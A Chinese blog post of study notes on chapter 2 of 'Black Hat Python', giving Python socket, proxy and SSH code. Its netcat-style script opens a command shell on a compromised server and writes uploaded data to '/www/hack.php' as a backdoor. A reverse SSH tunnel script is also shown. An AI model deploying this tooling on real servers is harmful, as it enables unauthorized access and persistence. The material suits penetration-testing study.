TCP客户端

在渗透测试工程中,我们经常会遇到需要创建一个TCP客户端来连接网络、发送垃圾数据、进行模糊测试等任务的情况。但是所处环境不具备丰富的网络工具,下面是一个简单的TCP客户端

import socket

# 要连接目标的ip和端口
target_host = '127.0.0.1' # ip或者域名
target_port = 1111 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
client.send('hello'.encode('utf-8'))
response = client.recv(4096)
print(response)

TCP服务端

import socket
import threading server_ip = '0.0.0.0' # 用于监听的ip和端口
server_port = 1111 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((server_ip, server_port)) # 绑定ip端口
server.listen(5) # 允许最大tcp客户端连接数为5
print('TCP server start listen') def handle_client(socket_client):
request = socket_client.recv(1024)
print(request)
socket_client.send('ACK!'.encode('utf-8'))
socket_client.close() while True:
client, add_info = server.accept() # 接受tcp客户端的请求,开启client套接字用于和tcp客户端通信
print(f'handle{add_info}')
t = threading.Thread(target=handle_client, args=(client,))
t.start()

UDP

# 因为udp的特性虽然区分服务端与客户端 但是不用连接  这里只写下了 udp客户端的代码
import socket target_host = '127.0.0.1'
target_port = 2222 client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto('message'.encode('utf-8'), (target_host, target_port))
data, address = client.recvfrom(4096)
print(data)

recvfrom()返回(数据、连接信息)和 recv()只返回数据;sendto() 需要发送消息和地址、send只需要发送消息

因为tcp是需要连接的 udp是无状态不需要连接的,一般udp使用recvfrom和sendto() tcp使用 recv和send()

参数
socket.AF_INET 说明是标准ipv4地址或主机名
socket.SOCK_STREAM 流式socket , 当使用TCP时选择此参数
socket.SOCK_DGRAM 数据报式socket ,当使用UDP时选择此参数

模拟netcat

当我们通过漏洞进入一个服务器,并且服务器中安装了python------>通过下面的脚本给服务器开启一个端口 进行命令行交互、留后门、单条命令执行等功能

  • python xxxx.py -t "0.0.0.0" -p 1111 -l "True" -c "True" 开启1111端口进行监听 客户端连接后会与服务器产生一个交互的终端
  • python xxxx.py -t "0.0.0.0" -p 1111 -l "True" -u "/www/hack.php" 客户端连接后输入的数据会被写入到/www/hack.php
import sys
import socket
import threading
import subprocess
import optparse def usage():
parser.add_option("-l", "--listen", dest="listen", help="Is it a TCP server", type="str")
parser.add_option("-e", "--execute", dest="execute", default='', help="", type='str')
parser.add_option("-c", "--command", dest='command', help='create a new shell')
parser.add_option("-u", "--upload", dest='upload', default='', help='', type='str')
parser.add_option("-t", "--host", dest='host', help='host', type='str')
parser.add_option("-p", "--port", dest='port', help='port', type='int') def client_sender():
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
# if len(buffer):
# client.send(buffer.encode('utf-8'))
while True:
rec_flag = 1
response = ''
while rec_flag:
data = client.recv(4096)
rec_flag = len(data)
response += data.decode('gbk')
if rec_flag < 4096:
break
print(response)
_buffer = sys.stdin.readline()
client.send(_buffer.encode('utf-8')) def run_execute():
global execute
execute = execute.strip()
output = subprocess.check_output(execute, stderr=subprocess.STDOUT, shell=True)
return output def client_handle(client_socket):
if len(upload_destination):
file_buffer = ''
while True:
data = client_socket.recv(4096)
rec_flag = len(data)
file_buffer += data.decode('utf-8')
if rec_flag < 4096:
break with open(upload_destination, 'w', encoding='utf-8') as fp:
fp.write(file_buffer) if command:
while True:
client_socket.send('please input:'.encode('utf-8'))
cmd_buf = ''
while '\n' not in cmd_buf:
data = client_socket.recv(4096)
cmd_buf += data.decode('utf-8')
response = subprocess.check_output(cmd_buf, stderr=subprocess.STDOUT, shell=True)
client_socket.send(response)
if len(execute):
output = run_execute()
client_socket.send(output) def server_loop():
global host
if not len(host):
host = '0.0.0.0'
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(5)
while True:
socket_client, addr = server.accept()
threading.Thread(target=client_handle, args=(socket_client,)).start() if __name__ == '__main__':
listen = False
command = False
parser = optparse.OptionParser()
usage()
option, args = parser.parse_args() # option是标明的参数 args是额外的参数
# 这里本应该做参数检查 此处省略
upload_destination = option.upload
execute = option.execute
host = option.host
port = option.port
if option.listen == 'True':
listen = True
if option.command == 'True':
command = True
if not listen:
# buffer = sys.stdin.readline() # 从命令行读取内容 ctrl+D结束输入
client_sender()
if listen:
server_loop()

TCP代理

下面几行代码只是演示代理的原理

本机的local_port为代理服务的端口 客户端连接本机的local_port 本机将客户端发送来的数据转发到远程主机remote_host,remote_port 然后将远程主机返回的信息转发给客户端

  • python xxx.py --host "0.0.0.0" --port 1111 --rhost "xxxx" --port 21 --receivef "True"
import sys
import socket
import optparse
import threading def proxy_handler(client_socket, remote_host, remote_port, receive):
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((remote_host, remote_port))
if receive:
print('wait remote')
remote_buffer = remote_socket.recv(4096)
client_socket.send(remote_buffer)
while True:
local_buffer = client_socket.recv(4096)
remote_socket.send(local_buffer)
remote_buffer = remote_socket.recv(4096)
client_socket.send(remote_buffer) def server_loop(local_host, local_port, remote_host, remote_port, receive):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((local_host, local_port))
print(f'Listening on {local_host}:{local_port}')
server.listen(5)
while True:
client_socket, addr = server.accept()
print(f'{addr}已连接')
threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive)).start() def usage(parser):
parser.add_option("--host", dest="host")
parser.add_option("--port", dest="port", type='int')
parser.add_option("--rhost", dest="rhost")
parser.add_option("--rport", dest="rport", type='int')
parser.add_option("--receivef", dest='receive', help='在发给远程主机之前连接和接受数据') def main():
parser = optparse.OptionParser()
usage(parser)
option, args = parser.parse_args()
local_host = option.host
remote_host = option.rhost
local_port = option.port
remote_port = option.rport
receive = False
if option.receive == 'True':
receive = True
print(receive) server_loop(local_host, local_port, remote_host, remote_port, receive) if __name__ == '__main__':
main()

实现SSH客户端

import paramiko

def ssh_command(ip, port, user, passwd, command):
# 实例化ssh对象
client = paramiko.SSHClient()
# 秘钥认证方式
# client.load_host_keys('')
# 自动添加和保存服务器ssh秘钥
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 用户名密码认证方式
client.connect(ip, port, user, passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print(ssh_session.recv(1024).decode('utf-8')) ssh_command("192.168.1.103", 22, "beginner", "beginner", "ifconfig")

SSH服务器端代码

import socket
import threading
import sys
import paramiko #ssh-keygen -t rsa -b 4096 生成ssh秘钥
host_key = paramiko.RSAKey(filename="私钥") class Server(paramiko.ServerInterface):
def __init__(self):
# 执行start_server()方法首先会触发Event,如果返回成功, is_active返回True
self.event = threading.Event def check_auth_password(self, username, password):
# 当is_active返回True,进入认证阶段
if username == 'beginner' and password == 'beginner':
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED def check_channel_request(self, kind, chanid):
# 当认证成功,client会请求打开一个Channel
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED # 命令接受ip与port
server = sys.argv[1]
port = int(sys.argv[2]) # 建立socket套接字
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# SOL_SOCKET 意思是正在使用的socket选项。
# SO_REUSEADDR 当socket关闭后,本地端用于该socket的端口号立刻就可以被重用
# 1 表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, port))
sock.listen(100)
print('[+] Listening for connection...')
client, addr = sock.accept()
except Exception as e:
print('[-] Listen failed!')
sys.exit(1)
print('[+] Got a connection!') try:
# 用sock.accept()返回的socket实例化Transport
bhSession = paramiko.Transport(client)
# 添加一个RSA密钥加密会话
bhSession.add_server_key(host_key)
server = Server()
try:
# 启动SSH服务端
bhSession.start_server(server=server)
except paramiko.SSHException as x:
print('[-] SSH negotiation failed.')
# 等待客户端开启通道,超时时间为20秒
chan = bhSession.accept(20) print('[+] Authenticated!')
print(chan.recv(1024).decode('utf-8'))
chan.send(b'welcome to bh_ssh')
while True:
try:
command = input("Enter command:").strip('\n')
if command != 'exit':
chan.send(command.encode("utf-8"))
print(chan.recv(1024).decode("utf-8")+'\n')
else:
chan.send(b'exit')
print('exiting.')
bhSession.close()
raise Exception('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception as e:
print('[-] Caught exception:'+str(e))
try:
bhSession.close()
except:
pass
sys.exit(1)

SSH隧道(ssh端口转发)

SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据。除此之外SSH还能够将其他TCP端口的网络数据通SSH链接来转发,并且自动提供了相应的加密及解密服务。

ssh端口转发种类

  • 本地转发

    B开启了ssh服务器可以被外部连接,C开启了FTP只允许本地连接,A可以连接B无法连接C

sh -L localport:remotehost:remotehostport sshserver

sh -L 1111:192.168.0.103:21 192.168.0.102

现在只需要访问127.0.0.1:21就可以连接ftp

localport 本地端口号
remotehost 远程服务器
remotehostport 远程服务器端口
sshserver ssh服务器ip
  • 远程转发(SSH反向隧道)

    企业中一般防火墙是只允许出不允许进,如果防火墙关闭了22端口我们无法本地转发,现在只能远程转发

    现在就是B连接A 然后A将需要发送的数据交给B B再交给C

    ssh -R sshserverport:remotehost:remotehostport sshserver

    sshserverport 被转发机器开放的端口
    remotehost 远程服务器
    remotehostport 远程服务器端口
    sshserver 需要被转发机器ip
  • 动态转发

    FQ~~~

关于ssh隧道的详解https://www.cnblogs.com/keerya/p/7612715.html

import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser import paramiko SSH_PORT = 22
DEFAULT_PORT = 4000 g_verbose = True def handler(chan, host, port):
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as e:
verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))
return verbose(
"Connected! Tunnel open %r -> %r -> %r"
% (chan.origin_addr, chan.getpeername(), (host, port))
)
while True:
r, w, x = select.select([sock, chan], [], [])
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
sock.send(data)
chan.close()
sock.close()
verbose("Tunnel closed from %r" % (chan.origin_addr,)) def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
transport.request_port_forward("", server_port)
while True:
chan = transport.accept(1000)
if chan is None:
continue
thr = threading.Thread(
target=handler, args=(chan, remote_host, remote_port)
)
thr.setDaemon(True)
thr.start() def verbose(s):
if g_verbose:
print(s) HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
""" def get_host_port(spec, default_port):
"parse 'hostname:22' into a host and port, with the port optional"
args = (spec.split(":", 1) + [default_port])[:2]
args[1] = int(args[1])
return args[0], args[1] def parse_options():
global g_verbose parser = OptionParser(
usage="usage: %prog [options] <ssh-server>[:<server-port>]",
version="%prog 1.0",
description=HELP,
)
parser.add_option(
"-q",
"--quiet",
action="store_false",
dest="verbose",
default=True,
help="squelch all informational output",
)
parser.add_option(
"-p",
"--remote-port",
action="store",
type="int",
dest="port",
default=DEFAULT_PORT,
help="port on server to forward (default: %d)" % DEFAULT_PORT,
)
parser.add_option(
"-u",
"--user",
action="store",
type="string",
dest="user",
default=getpass.getuser(),
help="username for SSH authentication (default: %s)"
% getpass.getuser(),
)
parser.add_option(
"-K",
"--key",
action="store",
type="string",
dest="keyfile",
default=None,
help="private key file to use for SSH authentication",
)
parser.add_option(
"",
"--no-key",
action="store_false",
dest="look_for_keys",
default=True,
help="don't look for or use a private key file",
)
parser.add_option(
"-P",
"--password",
action="store_true",
dest="readpass",
default=False,
help="read password (for key or password auth) from stdin",
)
parser.add_option(
"-r",
"--remote",
action="store",
type="string",
dest="remote",
default=None,
metavar="host:port",
help="remote host and port to forward to",
)
options, args = parser.parse_args() if len(args) != 1:
parser.error("Incorrect number of arguments.")
if options.remote is None:
parser.error("Remote address required (-r).") g_verbose = options.verbose
server_host, server_port = get_host_port(args[0], SSH_PORT)
remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
return options, (server_host, server_port), (remote_host, remote_port) def main():
options, server, remote = parse_options() password = None
if options.readpass:
password = getpass.getpass("Enter SSH password: ") client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy()) verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1]))
try:
client.connect(
server[0],
server[1],
username=options.user,
key_filename=options.keyfile,
look_for_keys=options.look_for_keys,
password=password,
)
except Exception as e:
print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e))
sys.exit(1) verbose(
"Now forwarding remote port %d to %s:%d ..."
% (options.port, remote[0], remote[1])
) try:
reverse_forward_tunnel(
options.port, remote[0], remote[1], client.get_transport()
)
except KeyboardInterrupt:
print("C-c: Port forwarding stopped.")
sys.exit(0) if __name__ == "__main__":
main()

python3 rforward.py ssh服务器ip -p 本地转接的端口 -r 远程ip:远程端口 --user 用于连接ssh服务的用户名 --password

python黑帽子(第二章)的更多相关文章

  1. PYTHON 黑帽子第二章总结

    基于python3编写 import sys, socket, getopt, threading, argparse, subprocess # globals options listen = F ...

  2. Python 黑帽子第二章运行截图

  3. 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道

    Python黑帽子  黑客与渗透测试编程之道   <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...

  4. 2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道

    python代码见码云:20179204_gege 参考博客Python黑帽子--黑客与渗透测试编程之道.关于<Python黑帽子:黑客与渗透测试编程之道>的学习笔记 第2章 网络基础 t ...

  5. 《零压力学Python》 之 第二章知识点归纳

    第二章(数字)知识点归纳 要生成非常大的数字,最简单的办法是使用幂运算符,它由两个星号( ** )组成. 如: 在Python中,整数是绝对精确的,这意味着不管它多大,加上1后都将得到一个新的值.你将 ...

  6. python黑帽子(第五章)

    对开源CMS进行扫描 import os import queue import requests # 原书编写时间过于久远 现在有requests库对已经对原来的库进行封装 更容易调用 import ...

  7. python黑帽子(第四章)

    Scapy窃取ftp登录账号密码 sniff函数的参数 filter 过滤规则,默认是嗅探所有数据包,具体过滤规则与wireshark相同. iface 参数设置嗅探器索要嗅探的网卡,默认对所有的网卡 ...

  8. python黑帽子(第三章)

    Windows/Linux下包的嗅探 根据os.name判断操作系统 下面是os的源码 posix是Linux nt是Windows 在windows中需要管理员权限.linux中需要root权限 因 ...

  9. python基础教程-第二章-列表和元组

    本章将引入一个新的概念,:数据结构.数据结构是通过某种方式(例如对元素进行编号)组织在 一起的数据元素的集合,这些数据元素可以是数字或者字符,甚至可以是其他数据结构.在python中,最基本的数据结构 ...

随机推荐

  1. 网络监听FTP明文口令实验

    一. 开启环境 1.登录FTP服务器. 2.启动FTP服务器 (1)打开FTP服务器.点击最左面绿色按钮,启动ftp服务器. (2)可以看到以下变化:ftp服务器启动.显示"FTP服务在线& ...

  2. Rsync未授权访问

    1.漏洞名称 Rsync 未授权访问漏洞 2.漏洞原理 rsync是Linux下一款数据备份工具,支持通过rsync协议.ssh协议进行远程文件传输. 其中rsync协议默认监听873端口,如果目标开 ...

  3. linux静态IP配置

    网卡配置文件:/etc/sysconfig/network-scripts/ifcfg-ens33 ==================VMware桥接静态外网==================== ...

  4. Java IO流处理

    字节流是由字节组成的;字符流是由字符组成的Java里字符由两个字节组成. 1字符=2字节JAVA中的字节流是采用ASCII编码的,字符流是采用好似UTF编码,支持中文的 Java IO流处理 面试题汇 ...

  5. React优点?

    声明式, 组件化, 一次学习, 随处编写. 灵活, 丰富, 轻巧, 高效

  6. 为什么 wait(), notify()和 notifyAll ()必须在同步方法或 者同步块中被调用?

    当一个线程需要调用对象的 wait()方法的时候,这个线程必须拥有该对象的锁,接 着它就会释放这个对象锁并进入等待状态直到其他线程调用这个对象上的 notify() 方法.同样的,当一个线程需要调用对 ...

  7. PACT 在微服务架构中的用途是什么?

    PACT 是一个开源工具,允许测试服务提供者和消费者之间的交互,与合同隔离, 从而提高微服务集成的可靠性. 微服务中的用法 用于在微服务中实现消费者驱动的合同. 测试微服务的消费者和提供者之间的消费者 ...

  8. mysql 的INNODB引擎和MYISAM引擎的区别、索引相关

    两个引擎都是使用B+tree 数据结构作为索引 不同点: 1.INNODB的主键必须要有,同时也是聚集索引,INNODB的数据文件本身就是索引文件:而MYISAM则是存储了数据的地址 2.INNODB ...

  9. poj_2386_dfs

    描述 由于最近的一场雨,农夫john的田地里很多地方流入了水,由一个N*M的矩形表示.每个方格要么有水(W)要么是干的(.).农夫想要知道他的田地里形成了多少池塘. 一个池塘由有水的方块相连,每个方块 ...

  10. Spring Security OAuth 笔记

    1  单点登录 关于单点登录的原理,我觉得下面这位老哥讲的比较清楚,有兴趣可以看一下,下面我把其中的重点在此做个笔记总结 https://juejin.cn/post/6844904079274197 ...